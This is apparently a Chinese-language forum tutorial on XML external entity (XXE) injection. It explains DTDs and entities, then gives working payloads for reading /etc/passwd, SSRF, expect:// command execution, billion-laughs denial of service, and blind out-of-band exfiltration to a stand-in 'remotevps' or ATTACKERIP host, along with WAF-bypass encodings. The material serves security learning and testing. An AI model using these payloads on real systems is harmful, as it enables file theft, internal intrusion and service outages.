文库 | 探索XML外部实体注入（XXE）

gclome · 发表于 2021-2-17 22:40:18

XXE(XML External Entity Injection)全称为XML外部实体注入，由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。
例如PHP中的simplexml_load默认情况下会解析外部实体，有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。

二.XML基础

XML 指可扩展标记语言（EXtensible Markup Language）
XML 是一种标记语言，很类似 HTML
XML 的设计宗旨是传输数据，而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML 是不作为的。
也许这有点难以理解，但是 XML 不会做任何事情。
XML 被设计用来结构化、存储以及传输信息。
下面是 John 写给 George 的便签，存储为 XML：

<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

复制代码

上面的这条便签具有自我描述性。

它拥有标题以及留言，同时包含了发送者和接受者的信息。

但是，这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。

我们需要编写软件或者程序，才能传送、接收和显示出这个文档。

除此之外，XML是纯文本，且允许创作者定义自己的标签和文档结构，是独立于软件和硬件的信息传输工具。

DTD

文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中，它应当通过下面的语法包装在一个 DOCTYPE 声明中：

<!DOCTYPE 根元素 [元素声明]>

复制代码

外部文档声明

假如 DTD 位于 XML 源文件的外部，那么它应通过下面的语法被封装在一个 DOCTYPE 定义中：

<!DOCTYPE 根元素 SYSTEM "文件名">

复制代码

DTD的作用：

通过 DTD，您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD，独立的团体可一致地使用某个标准的 DTD 来交换数据。
您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。

实体
实体可以理解为变量，其必须在DTD中定义申明，可以在文档中的其他位置引用该变量的值。
实体类别
实体按类型主要分为以下四种：

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

实体根据引用方式，还可分为内部实体与外部实体，看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities
参数实体用%实体名称申明，引用时也用%实体名称;其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；其余实体只能在DTD中申明，可在xml文档中引用。
内部实体：

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体：

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

实例演示：除参数实体外实体+内部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]>
<foo>
<value>&name;</value>
</foo>

实例演示：参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

注意：%name（参数实体）是在DTD中被引用的，而&name（其余实体）是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞，那么重点看下能引用哪些类型的外部实体。
外部实体
外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体，而非内部实体，那么URL中能写哪些类型的外部实体呢？
主要的有file、http、https、ftp等等，当然不同的程序支持的不一样：

php安装扩展后还能支持的一些协议：

XML外部实体注入
XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。
XXE是针对解析XML输入的应用程序的一种攻击。
当弱配置的XML解析器处理包含对外部实体的引用的XML输入时，就会发生此攻击。
这种攻击可能导致信息泄露，命令执行，拒绝服务，SSRF，内网端口扫描以及其他系统影响。

三.XXE检测

主要的方法是检测所有接受XML作为输入内容端点，抓包观察其是否会返回我们想要的内容。
如图，首先检测XML是否会被成功解析：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY words "Hello XXE !">]>
<root>&words;</root>

复制代码

如果数据包或页面中存在“Hello XXE”的字样，则表名实体已被解析。

接下来检测该端点是否支持DTD引用外部实体：

<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/tp5/test.xml">
%name;
]>

复制代码

此时通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求test.xml的HTTP request。

如图所示，则该处很可能存在XML外部实体注入漏洞。
另外，许多服务端开发框架(比如基于RESTful服务的JAX-RS)也允许基于数据交换的XML格式作为输入，甚至是输出。
如果可以进行这种替换，可以通过修改请求头中的Content-Type的值(比如修改成text/xml或者application/xml)来进行验证触发。
即使客户端只能使用JSON格式或者是直接路径或者是参数查询的方式来访问服务。
对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，
如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
这块知识在下面的XXE利用中有详细介绍。

四.XXE利用及payload

以下利用主要基于libxml2版本，其中libxml是PHP的xml支持。
而libxml版本在2.9.1及以后，默认不解析外部实体，很多利用将无法实现。

文件读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

复制代码

文件读取的利用和payload非常好理解，即使用file协议读取文件内容，并输出到页面上（有回显的情况）。

SSRF
XXE 可以与SSRF（服务端请求伪造）漏洞一起用于探测其它内网主机的信息，基于http协议。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

复制代码

当然也可以用来探测端口信息，根据响应包的信息，若非“connection refused”则表示该端口可能是开放的。

众所周知，有些企业对内网的安全性可能不那么注重。

除了以上的利用，控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试。

关于ncat的使用：ncat-网络工具中的‘瑞士军刀’

用ncat在自己的服务器上开启监听：ncat -lvkp 8081(端口可自定义)

之后便可使用以下语句尝试是否能够建立连接：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

复制代码

如果能够建立连接，那么服务器端的ncat会收到相应的请求信息。

RCE

在安装expect扩展的PHP环境里执行系统命令，当然其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

复制代码

DDoS

支持实体测试：

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

复制代码

如果解析过程变的非常缓慢，则表明测试成功，即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。

Billion Laughs 攻击

一个经典的Dos攻击payload：

<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
......
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

复制代码

当XML解析器加载该文档时，它会看到它包含一个根元素“lolz”，该元素包含文本“&lol9;”。

然而，“&lol9;”是一个已定义的实体，它扩展为包含十个“&lol8;”字符串。
每个“&lol8;”字符串都是一个已定义的实体，可以扩展到10个“&lol7;”字符串，以此类推。
在处理完所有的实体扩展之后，这个小(小于1 KB)的XML块实际上将包含109 = 10亿个“lol”，占用了将近3 gb的内存。
Blind XXE
Blind XXE，字面意思也就是提交xml的服务器端点不再返回有效的数据，此时我们前面的一些利用方法就要失效了。但是解决方法还是有的。
XXE OOB(外带数据通道)

概念
带外数据(out—of—band data)，有时也称为加速数据(expedited data)，
是指连接双方中的一方发生重要事情，想要迅速地通知对方。
这种通知在已经排队等待发送的任何“普通”(有时称为“带内”)数据之前发送。
带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的，而不是在客户机和服务器间再用一个连接。

利用
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
但有些情况下不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://remotevps/evil.xml">
%remote;
%all;
]>
<root>&send;</root>

复制代码

evil.xml：

<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?file=%file;'>">

实体remote，all，send的引用顺序很重要，首先对remote引用目的是将外部文件evil.xml引入到解释上下文中，然后执行%all，这时会检测到send实体，在root节点中引用send，就可以成功实现数据转发。当请求发送以后，攻击者的服务器上就能查看到1.txt中的内容。
基于错误的XXE
形同blind xxe，当我们成功地让服务端解析了xml文档，得到的响应却是通用的。比如添加账号的时候只返回“添加成功”这样的响应。此时我们可以让服务器响应报错信息来得到我们要的敏感数据。
有两种报错的来源：

DTD结构的错误
XML架构验证时的错误

外部DTD
在本例中，我们将让服务器加载一个恶意DTD，它将在错误消息中显示文件的内容(只有当可以看到错误消息时，这才有效)。
可以使用恶意的外部DTD触发包含/etc/passwd文件内容的XML解析错误消息，如下所示:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

复制代码

这个DTD执行以下步骤:

定义一个名为file的XML参数实体，其中包含/etc/passwd文件的内容。
定义一个名为eval的XML参数实体，包含另一个名为error的XML参数实体的动态声明。错误实体将通过加载一个不存在的文件来评估，该文件的名称包含文件实体的值。
使用eval实体，该实体将导致执行错误实体的动态声明。
使用错误实体，以便通过尝试加载不存在的文件来得到数据，从而导致返回包含不存在文件的名称的错误消息，该名称正是/etc/passwd文件的内容。
实例演示：

请注意，外部DTD允许我们在第二个(eval)中包含一个实体，但在内部DTD中是禁止的。因此，在不允许使用外部DTD的情况下(通常)强制执行错误是行不通的。
内外部DTD混合
那么，当带外交互被阻止(外部连接不可用)时， blind XXE漏洞怎么办?
在这种情况下，由于XML语言规范中的漏洞，仍然有可能触发包含敏感数据的错误消息。
如果文档的DTD混合使用内部和外部DTD声明，那么内部DTD可以重新定义在外部DTD中声明的实体。
当发生这种情况时，在另一个参数实体的定义中使用XML参数实体的限制就放宽了。
这意味着攻击者可以从内部DTD中使用基于错误的XXE技术，前提是他们使用的XML参数实体是重新定义在外部DTD中声明的实体。
当然，如果带外连接被阻塞，那么就不能从远程位置加载外部DTD。
相反，它需要是应用服务器本地的外部DTD文件。
从本质上说，攻击涉及调用碰巧存在于本地文件系统上的DTD文件，并将其重新用于重定义现有实体，从而触发包含敏感数据的解析错误。
例如，假设服务器文件系统上位于位置/usr/local/app/schema.上有一个DTD文件这个dtd文件定义了一个名为custom_entity的实体。
攻击者可以通过提交如下混合DTD来触发包含/etc/passwd文件内容的XML解析错误消息:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>

复制代码

这个DTD执行以下步骤:
定义名为local_dtd的XML参数实体，其中包含存在于服务器文件系统上的外部DTD文件的内容。
重新定义名为custom_entity的XML参数实体，该实体已经在外部DTD文件中定义。

实体被重新定义为包含前面描述的基于错误的XXE漏洞，用于触发包含/etc/passwd文件内容的错误消息。
使用local_dtd实体，以便解释外部DTD，包括重新定义的custom_entity实体的值。这将导致所需的错误消息。
现实世界的例子:使用GNOME桌面环境的系统通常有一个DTD在/usr/share/yelp/ DTD /docbookx包含名为ISOamso的实体的dtd。

由于该技术使用内部DTD，所以首先需要找到一个有效的DTD。
你可以安装相同的服务器正在使用的操作系统/软件和搜索一些默认dtd，或抓取系统内的默认dtd列表，并检查其中是否存在。

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

复制代码

XInclude攻击

什么是XInclude？顾名思义，xinclude可以理解为xml include

熟悉编译/脚本语言的一定熟知，像php的include，python和java的import都是可以进行文件包含的。

那么文件包含有什么好处？

当然是可以使代码更整洁，我们可以将定义的功能函数放在function.php中，再在需要使用功能函数的文件中使用include包含function.php，这样就避免了重复冗余的函数定义，同样可以增加代码的可读性。

故此，xinclude也不例外，它是xml标记语言中包含其他文件的方式。

一些应用程序接收客户端提交的数据，会将其嵌入到服务器端XML文档中，然后解析文档。

当客户端提交的数据被放置到后端SOAP(简单对象访问协议)请求中，然后由后端SOAP服务处理时，就会出现这种情况。

在这种情况下，我们不能执行典型的XXE攻击，因为无法控制整个XML文档，因此不能定义或修改DOCTYPE元素。但是，我们可以使用XInclude代替。

XInclude是XML规范的一部分，它允许从子文档构建XML文档。

我们可以在XML文档中的任何数据值中放置XInclude攻击，因此可以在只控制放在服务器端XML文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击，需要引用XInclude名称空间并提供希望包含的文件的路径。

例如:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

复制代码

详细的利用请参考: 浅析xml之xinclude & xslt

XSTL攻击
XSLT（扩展样式表转换语言）是一种对 XML 文档进行转化的语言。XML 文档通过 XSLT 转化后可以变成为另一份不同的 XML 文档，或者其他类型的文档，例如 HTML 文档、 CSV 文件、纯文本文件等。
有关具体的转化过程，请参考：sourse
因为同样具有XML文档，那也有XXE的漏洞隐患。关于具体的应用，可参考优秀翻译文章：sourse

五.XXE Bypass

上传文件绕过
有些应用程序允许用户上传文件，然后在服务器端处理这些文件。
一些常见的文件格式使用XML或包含XML子组件。
基于xml的格式包括DOCX这样的办公文档格式和SVG这样的图像格式。
例如，应用程序可能允许用户上传图像，并在上传后在服务器上处理或验证这些图像。
即使应用程序希望接收PNG或JPEG之类的格式，所使用的图像处理库也可能支持SVG图像。
由于SVG格式使用XML，攻击者可以提交恶意的SVG图像，从而达到针对XXE漏洞的隐藏攻击面。

<svgxmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="300"version="1.1"height="200"><imagexlink:href="file:///etc/hostname"></image></svg>

复制代码

另外，许多常见的文档格式，例如doc，docx，odt等，其实质是一个zip文件，其中包含xml文件。

当我们用winrar、7z等工具打开这类文件就能看到：

我们可以利用这些文件来绕过xxe防御。

oxml_xxe就是一个用于向此类文件中嵌入XXE Payload的工具。

它支持以下文件格式的创建或修改：

DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)

oxml_xxe的工作原理分为两种：

一是直接建立一个文件，该模式会自动添加DOCTYPE并将XML实体插入到用户选择的文件中。
二是替换文件中的字符串，此模式会遍历查找文档中的符号§。并用XML实体(“&xxe;”)替换此符号的所有实例。注意，你可以在任何地方打开文档并插入§来替换它。
常见的用例是web应用程序，它读取xlsx，然后将结果打印到屏幕上。利用XXE我们便可以将内容打印到屏幕上。

编码绕过base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

复制代码

仅当XML服务器接受data://协议时，此方法才有效。

utf-7

直接上样例：

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

复制代码

使用两种编码

思路是在同一个文档里同时使用两种编码，从而迷惑 WAF。直接用生成的命令来说明：

echo -n '<?xml version="1.0" encoding="UTF-16BE"?>'> payload.xml
echo '<a>1337</a>'| iconv -f UTF-8-t UTF-16BE>> payload.xml

复制代码

头部声明使用 UTF-8 编码，而之后使用 UTF-16 编码。当解析器读到 XML 声明的编码时，会切换到该编码（继续解析），即使该编码与声明部分所使用的编码不同。

与此同时，WAF 一般不支持这种多种编码的 XML 文档。
在实体内编码
是新的XML技术，对内部实体中的任何DTD/XML进行编码（编码格式是字符串16进制+UTF-8形式），达到WAF bypass的效果！
当没有XXE，但XML主体中存在漏洞(例如SQL注入)时起作用。

文档中的额外空格
由于XXE通常在XML文档的开头，所以比较省事儿的WAF可以避免处理整个文档，而只解析它的开头。但是，XML格式允许在格式化标记属性时使用任意数量的空格，因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格，从而绕过此类WAF。

六.XXE工具

XXEinjector
XXEinjector是一个使用Ruby编写的自动化xxe漏洞检测工具，可以通过给定一个http请求的包，然后设置好好参数就会自动化的进行fuzz，他会通过内置的规则进行自动化的测试，并且还支持二次注入（通过另一个请求触发漏洞）。

七.参考资料

未知攻焉知防——XXE漏洞攻防
https://phonexicum.github.io/infosec/xxe.html#xxe-targets
https://github.com/enjoiz/XXEinjector
PayloadsAllTheThings/XXE Injection at master
【译】黑夜的猎杀-盲打XXE - 先知社区
浅析xml之xinclude & xslt – CoLaBug.com
XML External Entity - HackTricks

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